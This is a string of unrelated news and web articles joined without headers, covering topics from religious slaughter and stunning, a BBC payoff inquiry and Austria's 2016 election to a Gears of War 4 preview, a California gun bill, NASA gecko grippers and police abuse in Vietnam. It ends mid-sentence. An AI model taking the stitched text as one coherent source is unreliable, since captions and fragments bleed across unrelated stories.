RELIGIOUS REASONS HALAL Halal slaughtering involves cutting through the large arteries in the neck with one swipe of a blade, while a Muslim butcher recites a religious verse. All blood is then drained away since the consumption of blood is forbidden under Islamic law. Under Islamic law, an animal must be slaughtered by having its throat cut while it is conscious. KOSHER According to the laws, in order for a meat to kosher it must come from an animal that meets the kosher rules. These are the animal must be ruminant and have split hooves. Ruminant animals chew food once and swallow, before regurgitating it and chewing again. Animals that Jews can eat include cows, sheep, goats and deer. They cannot eat pigs despite the fact it has split hooves because it is not a ruminant animal. Before slaughtering, the animal must be healthy and uninjured and a sharp knife is used to slice through the main arteries and windpipe, causing a drop in blood pressure that causes the animal to lose consciousness. Jews believe this is a way of killing that shows 'respect and compassion' as set out in Jewish law. Some 2.4 million sheep and goats were put to death using the religious method in halal and kosher abattoirs in 2013 – a rise of 60 per cent on 2011. According to analysis by the Food Standards Agency, some 37 per cent of sheep and goats, 25 per cent of cattle and 16 per cent of poultry were killed in this way in halal premises. Researchers from the University of Bristol School of Veterinary Science questioned Islamic scholars and Halal consumers on the use of pre-slaughter stunning. The study is published in the journal Meat Science. Some 69 per cent of scholars said they did not agree that stunning prior to slaughter had been showed to reduce the pain felt by animals, according to The Times. However more than 95 per cent of the scholars and 53 per cent of consumers agreed that if stunning did not result in death, cause physical injury or obstruct bleed-out, the meat would be considered Halal. The study said: ' The lack of understanding of stunning among some scholars has resulted in the issuance of confusing fatwas on the suitability of stunned meat for consumption by Muslims. 'There is an urgent need for these scholars to be given theoretical and practical education on stunning and other modern slaughter techniques such as mechanical slaughter. 'This will help them make informed decisions about the suitability of these techniques for Halal production.' Gudrun Ravetz, president of the British Veterinary Association said: 'Our view is that all animals should be stunned before slaughter, based on peer reviewed evidence that indicates an unacceptable time lapse between slaughter and the onset of permanent insensibility when animals are not stunned. Britain allows an exemption for those who oppose because of religious beliefs and the number of animals killed without stunning appears to be on the rise. File image 'A number of notable bodies including the Farm Animal Welfare Committee and the EU Food Safety Authority all agree that there is a high probability that the cutting of sensitive tissues at the neck will trigger a significant pain response in a conscious animal. 'Given the barrage of evidence about the humaneness of stunning before slaughter the veterinary profession is persuaded that animals must be stunned. -Photo Fifteen years ago, bemoaning the high cost of higher education, the governors of 19 Western states decided to start a nonprofit online institution to help meet their need for a trained work force. The result, Western Governors University, offers undergraduate and graduate degrees in education, business, the health professions and information technology. Everything is online except for student teaching and some nursing requirements. Most of its 25,000 students are over 25, and have previously earned some college credits. Instead of being required to spend a certain number of hours to earn a certain sequence of credits, students at Western Governors must show “competency” through assignments and proctored exams. Marie Hermetz, who paid Western Governors about $9,000 to earn her master’s degree in health care management, said she heard about the program on the news and switched from one that would have cost up to $40,000. “Doing it one class at a time, I would have graduated maybe never,” said Ms. Hermetz, 43, who had a bachelor’s degree in math. “This way, it took just under 18 months. And whenever I ran into trouble, my professors would make arrangements, whether it was through a webinar or a phone call or an e-mail, to help me.” Advertisement Continue reading the main story Actually, Western Governors does not have “professors” in the usual sense: the online curriculum is not developed by the university, but chosen by outside experts, and students have “course mentors” with graduate degrees. -The BBC has been ordered to disclose the names and details of 150 senior managers who received severance payouts after MPs invoked a rare parliamentary custom. The Commons public accounts committee is to invoke the power of a standing order to force the broadcaster to release information about 150 redundancy payments to senior managers between 2010 and 2012. Citing data protection issues, the BBC has previously fought attempts to divulge the names, but has now written to the former managers alerting them that the nature of their severance arrangements may now be made public. The development came on Friday amid further fallout in the BBC payoffs controversy, with a statement challenging former director general Mark Thompson's claim that the BBC Trust was fully informed about a £1m severence settlement with a senior executive in 2010 issued by five trustees. One ex-senior BBC manager, who received the letter warning that details of his severance arrangement may be published, told MediaGuardian: "I am not prepared to have details of what was meant to be a confidential matter released into the public domain without any kind of assurance of how it will be presented. "My redundancy was totally in order, but there is no guidance from the BBC as to how the information will be presented. The concern I would have is that a senior manager such as myself – whose redundancy settlement was perfectly in order – will be lumped together with the very small number of senior managers whose deals seem to have been rather more generous. I cannot see myself giving consent for my name and details to be released." In the letter sent to all 150 former bosses to give them the opportunity to raise any concerns, the corporation said: "PAC has recently confirmed in writing to the BBC that it is applying its Standing Order power to call for the 150 names and details of the 150 recipients of severance payments cited in the [National Audit Office] report, which includes you. "PAC has informed us that on receipt of this information, it will then decide whether or not to make this information public taking into account the public interest in doing so. PAC further states that it will consider any representations concerning individual cases, that it takes the needs of confidentiality seriously and has chosen not to publish information regarding individuals on previous occasions." On Friday the BBC Trust issued a statement from five trustees who were in post when the payoff for former deputy director general Mark Byford was being discussed in late 2010 – Richard Ayre, Diane Coyle, Anthony Fry, Alison Hastings and David Liddiment. "We were not asked for approval of the financial package – formally or informally – nor did we give it. The Trust was assured that the package was within contractual terms and that the chairman of the BBC's executive remuneration committee had agreed to it being approved," they said. Thompson, in his PAC evidence submission published on Friday, said he took "all reasonable steps to ensure that the BBC Trust was properly informed in advance" about the proposed redundancy settlements with Byford and Sharon Baylay, the former director of marketing who left with a £390,000 payoff. "The timetable and the urgency of the email traffic between the Trust and various BBC managers supports the view that the Trust wanted to be able to express its view about the proposed settlements before the [executive remuneration committee] was asked to formally approve them," he added. "The only non-automatic part of the proposed settlement with Mark Byford was the intention to delay the issuing of formal notice and to make a payment in lieu of notice: there is clear evidence that the trust was aware of both those points." Earlier on Friday, it emerged that Lucy Adams, the BBC's HR director, has written to MPs to correct her evidence to parliament about her involvement in agreeing the £1m severance payment for a former senior executive. Adams admitted in fresh evidence released by the PAC on Friday that she was involved in drafting a key memo to the BBC Trust that detailed the controversial £1m severance payment to Byford. Thompson described Adams in evidence also published by the committee on Friday as "one of the main authors" of the memo – dubbed the 7 October note – which she claimed not to have seen when she appeared before MPs on the PAC on 10 July. In a letter made public on Friday, Adams said it was not clear which document the committee was referring to at the time. The 7 October note, drafted in 2010, has become central to the BBC payoffs saga because it was drawn up to inform the BBC Trust of two controversial payoffs – to Byford and Baylay. The BBC Trust has since claimed not to have been fully briefed on these redundancy deals. • To contact the MediaGuardian news desk email media@theguardian.com or phone 020 3353 3857. For all other inquiries please call the main Guardian switchboard on 020 3353 2000. If you are writing a comment for publication, please mark clearly "for publication". • To get the latest media news to your desktop or mobile, follow MediaGuardian on Twitter and Facebook -SHARE THIS ARTICLE Share Tweet Post Email Austrians elected a Green Party-backed economics professor as their next president, spurning the appeal of an anti-immigration nationalist who campaigned to weaken ties to the European Union. With all regular votes counted, Alexander Van der Bellen defeated Norbert Hofer of the Freedom Party by 51.7 percent to 48.3 percent after Sunday’s repeat run-off election to the mainly ceremonial presidency. While mail-in ballots will only be counted on Monday, Van der Bellen’s margin of victory was too great to change the outcome, and Hofer conceded defeat. Van der Bellen, 72, said that he stood for the “old values” of freedom, equality and solidarity. He also signaled that he wanted to preside over a more active presidency, urging a focus on policies such as efforts to tackle unemployment. Austria sent a “good signal” today “to the capitals of the European Union,” Van der Bellen, who ran as an independent, said in an interview with public broadcaster ORF. “You can actually win elections with a pro-European position.” Together with a referendum in Italy also being held on Sunday, the Austrian vote was seen as a bellwether for populist sentiment in Europe after the U.K.’s Brexit vote and Donald Trump’s election to the U.S. presidency. Geert Wilders, the anti-Islam Dutch politician, offered Hofer his commiserations on Twitter, as did French National Front leader Marine Le Pen. Nigel Farage, the former head of the U.K. Independence Party, had cited Hofer’s EU-skeptic stance as further evidence of the pressures buffeting the EU “construction.” German Vice Chancellor Sigmar Gabriel, who heads the Social Democratic Party, hailed Van der Bellen’s win as a “victory of reason against right-wing populism,” according to an interview with Bild newspaper. EU President Donald Tusk extended his “wholehearted congratulations” to Van der Bellen in an e-mailed statement. Year of Acrimony The result defied projections of a razor-tight finish and ends an acrimonious year of campaign politics that polarized Austria. Van der Bellen, who pledged to prevent anti-EU forces from forming a government, now has to heal the rifts exposed over immigration and economic inequality. It’s the first time in 70 years the country has elected a presidential candidate outside the Social Democratic or Austrian People’s Party, after both the established parties were eliminated in earlier rounds of voting. It’s also the first time that a Green Party leader has won a popular election in Europe to become head of state since the global environmental movement began. Van der Bellen narrowly squeezed out Hofer in the first presidential runoff on May 22, but the result was overturned by the Constitutional Court because of irregularities in counting mail-in ballots. Austria’s Interior Ministry showed Van der Bellen won more rural support in Sunday’s repeat vote, and also took key regions in the industrial heartland of Upper Austria as well as in the mountains of Tirol. Opening Doors The result is a rebuff to some analysts who predicted Hofer would benefit from the same nationalist forces that propelled Trump to the presidency last month. Hofer campaigned on his ability to court favor inside a Trump White House as well as with Russian President Vladimir Putin. “I’m asking my voters to accept that in a democracy, the voter is always right,” said Hofer. He added that he’s looking forward to the next round of national elections where he’ll stand by Freedom Party leader Heinz-Christian Strache, who accused Van der Bellen of orchestrating Sunday’s victory with a “massive campaign of fear.” Austrian Chancellor Christian Kern, a Social Democrat who warned last week that the EU must reform or slip into the abyss, struck a more conciliatory tone. “Alexander Van der Bellen will be a good partner for an open-minded, future-oriented policy of chances and hopes,” Kern said. “To the voters of Norbert Hofer, I say nobody should feel like a loser today. We’re all Austria.” — With assistance by Rainer Buergin, and Matthias Wabl -The views may be pleasantly apocalyptic, and the second act may feature a motorbike duel with a robot B52, but it's the little things that really sell me on Gears of War 4 - the surprisingly delicate way it both harkens back to and departs from Epic's original cover-shooters. The fact that Swarm footsoldiers rush you when they're close to death, for example, where their Locust predecessors would often dig in till the bitter end. The presence of branching path sections that ask teams of two to support one another across a gulf, a classic Gears device enlivened by the addition of flying enemies and eccentric new flavours of sniper rifle. And then there's the Overkill shotgun, which perhaps encapsulates how well the Coalition understands the series it has inherited. On the surface it's a quad-barrelled monster worthy of Painkiller, but in practice the Overkill is a flexible instrument that, much like the famous Active Reload mechanic, challenges you to keep a cool head under pressure. Simply pull the trigger and you'll fire all four barrels at once to shattering effect. But if you hold the trigger, pause and release, you'll fire each pair of barrels separately for a tighter spread, allowing you to dent targets at range and really make the most of your ammo. Shotguns have always been Gears of War's principal skill weapons, the roaring Sphinxes that gate access to the upper echelons of competitive multiplayer. With the Overkill, the Coalition has crafted both an elegant tool for returning Gnasher pros and a bloodthirsty treat for the rest of us. Everywhere you look in Gears of War 4, you'll find a studio engaged in careful dialogue with the past. This is literally the case in the story, which takes place a few decades after the destruction of the Locust, and sees two generations of the Fenix clan fighting side by side. In a bid to shore up what remains of civilisation, the Coalition of Organised Governments has herded Sera's surviving humans into gigantic walled cities, defended by robots, but not everybody is content to trade their freedom for security. Amongst the rag-tag Outsiders who scrape a living in the wilderness is the one and only Marcus Fenix, he of the thousand yard scowl. As the game's second act begins, the COG is holding the Outsiders responsible for a spate of abductions, and new leading man JD Fenix has returned to his father's estate in hopes of guidance and a little covering fire, if not a hug. What follows is essentially a license handover reimagined as a family squabble, a clash between epochs in video game characterisation. JD is a blond and blue-eyed graduate of Nathan Drake High, accompanied by glib sidekick Delmont Walker and token ladybro Kait Diaz, whose parents are among the missing. Marcus remains a potty-mouthed crank, cut from the rock of the WW2 shooter and pickled to perfection by years of isolation. The script isn't exactly captivating so far - in opting for a more presentable college age cast, the Coalition has sacrificed a certain vivacity - but the reinvention of Marcus as a grouchy hermit, bellowing about his greenhouse in the midst of a COG bombing run, is worth a few laughs. I'm looking forward to finding out who else is back from Gears 3. With any luck, the Cole Train still operates somewhere deep in the wilds. The art direction is also something of a generational mash-up. The Coalition has come up with its own spin on the original's "destroyed beauty" aesthetic - "reclaimed beauty", an admittedly clunky buzzword which pays into an unexpected riff on fossil fuel politics. By the time of Gears 4, Sera's reserves of underground immulsion are long gone, Mother Nature has taken back much of the surface, and the population now depends on a hodgepodge of renewable energy resources. The game's plunging rural fastness is littered with the vestiges of the old world and ramshackle stabs at revival - windmills idling against a baleful sunset, enormous flywheels canted against cliff-faces, hydroelectric dams torn open by the "windflares" that now rake the planet's crust. In the course of the campaign's five acts (an estimated 10 hours) you'll take a ride in a deteriorating funicular and do battle inside a memorial to the Pendulum Wars, Sera's darkest hour prior to the emergence of the Locust. A hint: some of the antique weapons on display are functional. Inspired by the landscape of north Italy, the game's palette is quietly enchanting - wiry underbrush and purple leafpile, mildew-spotted signage and ground-down masonry, flowing together in a way that makes the cover layouts less obvious to the eye, if no less tangible under the thumb. Gears of War's world has always been uniquely textured, and the Coalition has done a fine job of weaving its own vision into the tapestry, aided no end by some fancy bells and whistles - screen-space reflections on puddles, physically based shaders for a more tactile look, and a persistent dynamic weather system which, at its most severe, actually affects how you play. When the winds are raging, movement becomes a chore, certain terrain fixtures can be shot loose to create tumbling hazards, and slower projectiles such as the Boomshot's rounds may be blown off course, allowing you to sneak the odd shot around cover. If all this sounds transformative, however, the wind was seldom this much of a presence during my few hours with the campaign. For the most part, Gears of War 4's cover combat follows on from that of Gears 3, its AI behaviours, animations and even exploits painstakingly rebuilt to take advantage of Unreal Engine 4. The basic rhythms are much as in any Gears game: you'll enter an area, slam your back against a pillar and work your way gradually around to flanking positions, overlooks and weapon drops, relying on AI comrades to revive you as and when you overreach yourself. The Coalition has added a few new tricks - you can reach across cover to haul a foe onto your combat knife, which adds an extra element of risk and reward to close-quarters gunplay - but any longtime Gears detractors hoping for a change of tune will come away disappointed. There are, of course, new weapons to spice up the familiar double act of rifles versus shotguns. The Embar rifle handles like a mix of Torque Bow and Longshot - you must hold the trigger to charge up a slug, but if you hold it a second too long the weapon will vent, a blunder that's sure to rouse the scorn of Twitch chatboxes. The Buzzkill and Dropshot, meanwhile, are ways of cheating the game's cover logic. The former coughs up sawblades that ricochet around objects, while the latter spits out a flying drillhead that slams to earth explosively when you release the trigger. More important than the new firearms, though, are the creatures you'll wield them against. Gears of War 4 introduces two new factions, the crusty Swarm and the COG's army of automatons or "Dee Bees". They share a number of familiar combat archetypes - units that pin you down, skirmishers that flush you out, and the odd towering bullet sponge equipped with a power weapon. But each faction boasts a few oddballs that may throw veteran players off-balance. The Dee Bees occasionally field Guardians, slippery UAVs that sport a chaingun or a rocket launcher (detachable, once you've shot the vehicle down) plus a recharging energy shield. Their rolling Tracker units are Kamikaze terrain denial weapons, exploding at your feet to create a brief but deadly puddle of static electricity. The Swarm feel indistinguishable from the Locust at first, their rank and file emerging from sinkholes that can be sealed with a frag grenade, but just wait till you meet the Juvies - Swarm infants caught mid-gestation, fatty tissues dripping from their muscles as they hop and flail towards you. The original game's Wretches are the obvious comparison, but Juvies are much nimbler around objects and harder to hit - I was reminded a little of the Doom reboot's fidgety reinvention of the Imp, which is an encouraging parallel indeed. They also represent something of a terrain variable: you'll encounter Juvie egg sacks that can be used as cover, or shot down from the ceiling to squish anything beneath, but woe betide the player who rouses the occupant in the process. Weirder and deadlier still are the Swarm elites, especially the prancing Snatchers - they'll actually ingest you if they get the chance, carrying the hapless victim around in their bellies till blasted into submission. Carriers are the Swarm's artillery, their enormous torsos cracking open to release a cloud of toxic spores as they stomp slowly into melee range, and then there are the Pouncers, catlike, dart-tossing fiends with soft pink bellies that hop from surface to surface. As the name implies, Pouncers may try to pin you, but if you're alert to the warning signs you can usually catch the descending beast on the blade of a Lancer. Beyond the campaign, Gears 4 offers up a brace of familiar modes - Warzone, TDM, King of the Hill, and Guardian - plus the already discussed Dodgeball, a co-op bots mode and Arms Race, a team-based version of the Gun Game mod for Counter-Strike. In the latter, all team members get a different weapon after every third kill, which good news in that a struggling player won't be left behind, and less good news in that allies may accidentally sabotage each other. Finding that your Gnasher has become a Longshot after cornering an opponent is every bit as exhilarating as you'd imagine. There's also Escalation, a three ring objective capture mode with a metagame element that is aimed squarely at the eSports community. The idea is to win seven rounds, the twist being that losing teams can activate a weapon spawn between rounds, whether to give themselves an edge or bait the other team into taking a risk. Backed up by LAN support and a robust suite of commentator options, it seems a good pitch for the tournament crowd. But the star attraction in multiplayer is, of course, the new take on Horde, Gears of War's influential wave survival mode, which again follows on from Gears 3 but retains a few ideas from the underrated Gears of War: Judgment. The battle now revolves around a movable fabricator, where you'll construct fortifications such as turrets, fences and decoys using globs of power that must be manually collected from the bodies of the slain. This creates more of a frantic, push-pull rhythm, as players scurry out to gather energy at the risk of being caught trousers-down when the next round begins. It accompanies a set of loose player classes - Heavy, Soldier, Engineer, Scout and Sniper - which determine your starting layout and are geared towards certain roles, but flexible enough that you can change tactics on the fly. Each class has a selection of abilities, largely passive, that can be levelled up - the Scout can equip a skill that awards bonus Power when harvesting under fire, for instance, while the Soldier might plump for the ability to plant up to five grenade mines at once. The class system doesn't quite feel essential yet, and there's the suspicion that it exists to justify the sale of ability cards, though all abilities can be earned and upgraded in-game. But having to factor in the fabricator's location and resource gathering on top of the usual Horde strategies is a fun complication, and you needn't give those cards a second thought once you've left the lobby screen behind. The truly disarming thing about Gears of War's return is that it no longer has an obvious rival. The original's mechanics have been imitated by every blockbuster under the sun, from Killzone through Tomb Raider to the Tom Clancy franchise, but most of its disciples have either died off or evolved beyond recognition. If the Coalition's debut is a fairly conservative work at heart, one that is content to tinker ingeniously within sturdy parameters, it nonetheless feels strangely exotic. There is no game out there right now that plays like this one, that uses quite these variables in quite this way, and while the revisions aren't mind-blowing individually, they're gripping as a whole. Marcus Fenix may have aged disgracefully, but Gears of War 4 has the wind in its sails. This article is based on a press trip to The Coalition's headquarters. Microsoft paid for travel and accommodation. -(1) Existing law generally prohibits the possession or transfer of assault weapons, except for the sale, purchase, importation, or possession of assault weapons by specified individuals, including law enforcement officers. Under existing law, “assault weapon” means, among other things, a semiautomatic centerfire rifle or a semiautomatic pistol that has the capacity to accept a detachable magazine and has any one of specified attributes, including, for rifles, a thumbhole stock, and for pistols, a second handgrip. This bill would revise this definition of “assault weapon” to mean a semiautomatic centerfire rifle, or a semiautomatic pistol that does not have a fixed magazine but has any one of those specified attributes. The bill would also define “fixed magazine” to mean an ammunition feeding device contained in, or permanently attached to, a firearm in such a manner that the device cannot be removed without disassembly of the firearm action. By expanding the definition of an existing crime, the bill would impose a state-mandated local program. (2) Existing law requires that any person who, within this state, possesses an assault weapon, except as otherwise provided, be punished as a felony or for a period not to exceed one year in a county jail. This bill would exempt from punishment under that provision a person who possessed an assault weapon prior to January 1, 2017, if specified requirements are met. (3) Existing law requires that, with specified exceptions, any person who, prior to January 1, 2001, lawfully possessed an assault weapon prior to the date it was defined as an assault weapon, and which was not specified as an assault weapon at the time of lawful possession, register the firearm with the Department of Justice. Existing law permits the Department of Justice to charge a fee for registration of up to $20 per person but not to exceed the actual processing costs of the department. Existing law, after the department establishes fees sufficient to reimburse the department for processing costs, requires fees charged to increase at a rate not to exceed the legislatively approved annual cost-of-living adjustment for the department’s budget or as otherwise increased through the Budget Act. Existing law requires those fees to be deposited into the Dealers’ Record of Sale Special Account. Existing law, the Administrative Procedure Act, establishes the requirements for the adoption, publication, review, and implementation of regulations by state agencies. This bill would require that any person who, from January 1, 2001, to December 31, 2016, inclusive, lawfully possessed an assault weapon that does not have a fixed magazine, as defined, and including those weapons with an ammunition feeding device that can be removed readily from the firearm with the use of a tool, register the firearm with the Department of Justice before January 1, 2018, but not before the effective date of specified regulations. The bill would permit the department to increase the $20 registration fee as long as it does not exceed the reasonable processing costs of the department. The bill would also require registrations to be submitted electronically via the Internet utilizing a public-facing application made available by the department. The bill would require the registration to contain specified information, including, but not limited to, a description of the firearm that identifies it uniquely and specified information about the registrant. The bill would permit the department to charge a fee of up to $15 per person for registration through the Internet, not to exceed the reasonable processing costs of the department to be paid and deposited, as specified, for purposes of the registration program. The bill would require the department to adopt regulations for the purpose of implementing those provisions and would exempt those regulations from the Administrative Procedure Act. The bill would also make technical and conforming changes. (4) The California Constitution requires the state to reimburse local agencies and school districts for certain costs mandated by the state. Statutory provisions establish procedures for making that reimbursement. This bill would provide that no reimbursement is required by this act for a specified reason. -The Marijuana Policy Project, a grassroots organization supportive of marijuana legalization, has named Colorado Senate President John Morse as the worst state legislator with a stance on marijuana issues in the country. Morse was included on the list primarily due to his role in attempting to repeal Amendment 64 in the last few days of the 2013 legislative session. Amendment 64 was authorized via a statewide people’s ballot last year with a majority vote in all CO counties, and in May the Colorado legislature moved forward with a regulatory framework to support recreational sales. Morse has received considerable push-back from voters due to his stance on marijuana and other issues since the 2013 legislative session. Currently, over 10,000 petition signatures have been collected to support the recall, nearly 50% more than the required amount to initiate a recall. Next Tuesday, September 10th, voters will be given the opportunity to decide whether or not Morse and fellow anti-legalization legislator Senator Angel Giron will be allowed to maintain their office. Sen. Giron, of Pueblo County, was responsible for a separate anti-legalization bill, which would had criminalized marijuana if voters do not pass new taxes to support regulation. -Noah McCall (Albany Police Department Facebook page) Noah McCall (Albany Police Department Facebook page) Image 1 of / 3 Caption Close Partygoer accused of urinating on police officer 1 / 3 Back to Gallery Albany City police officers who went to the site of a loud party early Sunday said one of the partygoers urinated from a staircase onto an officer. At 3:20 a.m., officers went to 470 Hudson Ave., where they say several people inside and out were drinking alcohol and causing a disturbance. Noah McCall, 19, urinated on an officer, police said. McCall was charged with reckless assault, police said. A resident was found with metal knuckles, police said. Luca Quinn, a 19-year-old State University at Albany student, was charged with criminal possession of a weapon. Both men were arraigned in Albany City Court and released. Police also requested a building and codes inspection of the house. The inspection found the building to be unsafe and uninhabitable. Police were called to the home at least two other times in the last 15 months. At about 12:15 a.m. on Aug. 30, police received a report of a loud party and found a group of people drinking alcohol. Police noted safety hazards on that visit and requested a building and codes inspection. The site was deemed uninhabitable. On 1:15 a.m. Nov. 9, 2012, police found 14 people in the basement for what appeared to be an initiation for membership in a group or fraternity. Officers said they saw several people face down on the basement floor with their faces submerged in water. They were being struck with wooden paddles and rubber hoses while being told to "beg for mercy" and having cold water from a garden hose sprayed on their heads. Nine people were arrested on charges of hazing, criminal nuisance, unlawful assembly, obstruction of governmental administration and resisting arrest. -To many parents, it may be confirmation of something they have long suspected. A new study suggests that children pose a greater distraction to drivers than using a mobile telephone at the wheel. The research involved an analysis of 12 families over a period of three weeks, in which all their car journeys were monitored by four cameras installed in their vehicle. The families taking part had an average of two children, between 1-8 years of age. In total, 92 trips were analysed by the researchers, looking for any evidence of potentially distracting activity undertaken by the driver, such as looking away from the road for more than two seconds. In 90 of the 92 trips studied, the team detected distracting activity on the part of the motorist, with the average parent taking their eyes off the road for three minutes and 22 seconds, during a 16 minute trip. The video recordings showed that children travelling in the rear seats accounted for 12 per cent of all potentially distracting activity, compared to mobile phones, which were responsible for one per cent. Fathers were more likely to engage in distracting activities with their children and were distracted for longer periods than their mothers. The most frequent types of distractions included turning to look at the child in the rear seat or watching them in a rear-view mirror (76.4 per cent), engaging in conversation with the child (16 per cent), assisting the child in some way, such as handing them food or drinks, (seven per cent) or playing with the child (1 per cent). The study found that the presence of a front seat passenger did not significantly affect the way in which drivers engaged in potentially distracting child-related activities. The research was conducted by the Monash University Accident Research Centre, in Melbourne, Australia, where rules regarding the use of mobile phones while driving are similar to those in the UK, with hands free phones permitted. The team say the results suggest that children are 12 times more distracting to motorists than talking on a mobile phone. Dr Judith Charlton, an associate director of the centre, said: “The costs of distracted driving are undeniable. One major and previously unrecognised distraction is kids in the back seat.” The research comes just days after Brake, the road safety campaigners, supported by the Association of Chief Police Officers, called for tougher rules on mobile phones in cars, with a ban on hands-free devices, as well as hand-held ones. The charity also called for the penalty for calling or texting behind the wheel to be increased from £100 to somewhere between £500 and £1,000. But Dr Charlton suggested that while the risks of distraction during driving are becoming increasingly well known, motorists often overlooked children as a source of the problem. She added that her research indicated there was a need for more education on the issue. Her team have now launched a larger study, involving 50 families. The research comes just months after Norland College, the British nanny school, was involved in the launch of Nanny Drive iQ, a specialist driving school to teach childcare professionals techniques about driving with children. Sarah Rowley, from the driving school, said: “Parents expect those who care for their children to have relevant qualifications, but often let a carer or nanny drive off with their children without knowing how skilled and confident they are behind the wheel.” -Hannity: GOP's Failure 'Pushed Trump Into Arms of Chuck & Nancy' Tucker: Trump Signing Dems' DACA Deal Would Be 'Massive Amnesty,' 'Collapse' of GOP President Donald Trump has been criticized by some on the right for striking a deal with Democrats on raising the debt ceiling and then meeting with Senate Minority Leader Chuck Schumer (D-NY) and House Minority Leader Nancy Pelosi (D-CA) to discuss a plan to preserve the DACA program while increasing border security. On "Fox & Friends," former White House Press Secretary Sean Spicer said Trump made it clear during the campaign that he's a deal-maker and he's going to do what's in the best interests of the U.S. "I think Washington needs to wake up and understand that this is a guy who is going to make the best deal for the country when he can," Spicer said. "If that's with Republicans, it's going to be with Republicans. If that's with Democrats, it's going to be with Democrats. If that's with a bipartisan group of individuals, it'll be them." He said that Trump has a big heart and wants to find a way to protect so-called "Dreamers" from deportation, but he also knows the importance of border security and is committed to building a wall along the U.S.-Mexico border. "So like it or not, I don't see how you get a deal done that doesn't include the wall, because that's been a major priority of this president," Spicer said. "When you see what the final product is, I guarantee it's going to be on Donald Trump's terms." Watch more above. Coulter: 'If We're Not Getting a Wall, I'd Prefer President Pence' Tomi Lahren: 'ESPN Values Diversity, But Maybe Not Diversity of Opinion' Gorka: Trump Won on 'Make America Great Again,' Not 'Make the GOP Great Again' -Doug, Mr. Hennigan & Chaille discuss starting a Bisbee gossip column, Bingo's new book, Doug's dad on tour and a couple of travel tips. Hey, they all can't be gems. Recorded Oct 10th, 2017 at the FunHouse in Bisbee, AZ with Doug Stanhope (@DougStanhope), Brian Hennigan (@MrHennigan), & Ggreg Chaille (@gregchaille). Produced & Edited by Chaille. Pre-Order a SIGNED copy of Doug's NEW book, " This Is Not Fame: A "From What I Re-Memoir"" at - http://bit.ly/2z4dmBg This episode is sponsored by BlueApron.com - Get $30 OFF YOUR FIRST MEAL - WITH FREE SHIPPING - by going to BlueApron.com/STANHOPE DRAFT.com – New players get a FREE entry into a draft when you make your first deposit! Use promo code DOUG and play a real money game for FREE! ALL THINGS COMEDY Comedy Festival (OCT 26-29) presents The Doug Stanhope Podcast LIVE with Doug Stanhope, Chad Shank, Greg Chaille and Special Guests @ The Orpheum Theater Thu - 10/26 8:00pm in Phoenix, AZ. Tickets at https://phoenix.ticketforce.com/eventperformances.asp?evt=371 More Stanhope 2017 Tour Dates at http://www.dougstanhope.com/tour-dates/. Get on the Mailing List. LINKS: Amy Dresner's book,“My Fair Junkie” - http://amzn.to/2gBVaZ9 Justin's Peanut Butter Packs - http://amzn.to/2zk0fNr Chad Shank Voice Over info at AudioShank.com Support the Innocence Project - http://www.innocenceproject.org/ The comedy clip is from Todd Barry's DVD “From Heaven” (2008 Comedy Central Records) and is available on Amazon.com - http://amzn.to/2xBXb1Y -Oh, space. You're so hard to explore. Sometimes you bombard spacecrafts with hurtling rocks and deadly cosmic rays, and other times you're so empty you don't give astronauts a darn thing to hold on to. But while scientists haven't quite figured out how to keep radiation at bay, the scientists at NASA's Jet Propulsion Laboratory—specifically, its Planetary Robotics Laboratory—are building machines that can get a grip on the most difficult surfaces astronauts will find out there. Adhesion-wise, space presents a couple problems. First, robots typically struggle with uneven surfaces, let alone the kind of cliffs and crags you see on Mars. Second, space is kind of gravity challenged. "Out in zero gravity, even pushing tape against surfaces is difficult," say Jaakko Karras, a robotics electrical engineer at JPL. Without gravity to anchor your feet to the ground, it's easy to run afoul of Newton's third law. (For every action, there is an equal and opposite reaction. So you'll be pushed away from the wall with the same amount of force you applied to it. Physics!) And that's not just a problem in microgravity. Low gravity environments, like asteroids or comets, can be uncooperative too. (Just ask the European Space Agency's Philae lander.) "If you got out there and wanted to do some sort of sampling and just started drilling, you’re more likely to spin about the drill bit than the drill bit into the surface," Karras says. So what's a robot to do? "Nature solves the problems around us all the time," says Karras. "A fairly common path for us is the biomimicry approach." When Karras and his team would test climbing robots out on vertical rock walls, lizards would blaze right past them. But rather than getting annoyed at the speedy little reptiles, Karras decided to take his cues from evolution instead. His team's adhesive makes use of van der Waals forces, which geckos use to climb smooth surfaces. For bumpy ones, his team built claw-inspired microspine grippers that can bend and flex. (You can see them in action in the video up top.) Both gecko adhesive and microspine grippers are well on their way to scoring a ticket to deep space. Gecko adhesive is already being tested on the International Space Station. Right now, astronauts are using it to anchor things to interior panels, but NASA is considering using it as a replacement for Velcro, which kicks off a lot of dust and bristles—particulates aren't all that welcome in the fragile environment of the ISS. And microspines are a crucial part of NASA's asteroid redirect mission: The little spikes will cover robotic arms used to snatch up an asteroid's boulder and deposit it in orbit around our moon. Karras also hopes that future missions will use microspines' vertical climbing skills to explore Mars' caves and lava tubes. "They haven't been explored yet because they're difficult from a mobility standpoint," Karras says. "But they may once have been collection points for liquid water, and they're sheltered, low-radiation areas. They're of interest for investigating the possibility of past and present life." So if we find any Martians in the next couple of decades, you have lizards to thank. -HANOI (Reuters) - Abuses by Vietnam’s powerful police force are occurring at an alarming rate, a rights group said on Tuesday, and it urged the government to rein in offenders and create agencies to investigate complaints of beatings, torture and killings. Tracking four years of alleged abuse of suspects in custody, the New York-based Human Rights Watch (HRW) said Vietnam’s Communist government needed to recognize the scale of the problem and urgently initiate police reforms. “What we have uncovered is a human rights crisis in the daily operations of the Vietnam police,” Phil Robertson, HRW’s deputy Asia director, told a news conference in Bangkok. “We’re convinced that what we’re presenting today is the tip of a much larger iceberg,” Robertson said, according to a transcript provided by HRW. The group said many victims of police brutality were accused only of minor crimes like speeding or petty theft. It cited 14 deaths in custody - four unexplained, six alleged suicides and four from illness - and documented 31 cases of police beatings, among whose victims were eight children. Robertson said the report was far from a quantitative survey and “more a snapshot of a serious situation”. The rights group did not interview witnesses or suspects itself for fear it could put them in danger. It drew largely on what it described as patchy coverage of the issue in by Vietnam’s state-controlled media and from bloggers keen to document cases of police brutality. Reforming the police force could, however, be a tall order in Vietnam. The force is overseen by the Ministry of Public Security, which has a big stake in politics and numerous areas of society and administration. Several ministers, current and former, are politburo members and the remit of the ministry is far-reaching. “STRONG COMMITMENT” The rights group recommended that the government establish an independent police complaints commission, local-level internal affairs units, a tracking system to address allegations of abuse and ensure interrogations of suspects were videotaped. Vietnam’s government rejected what it said were “false allegations” in the report, citing its signing of the U.N. treaty against torture and inhumane acts as evidence of strong commitment to preventing abuses of suspects in police custody. “Every act of torture 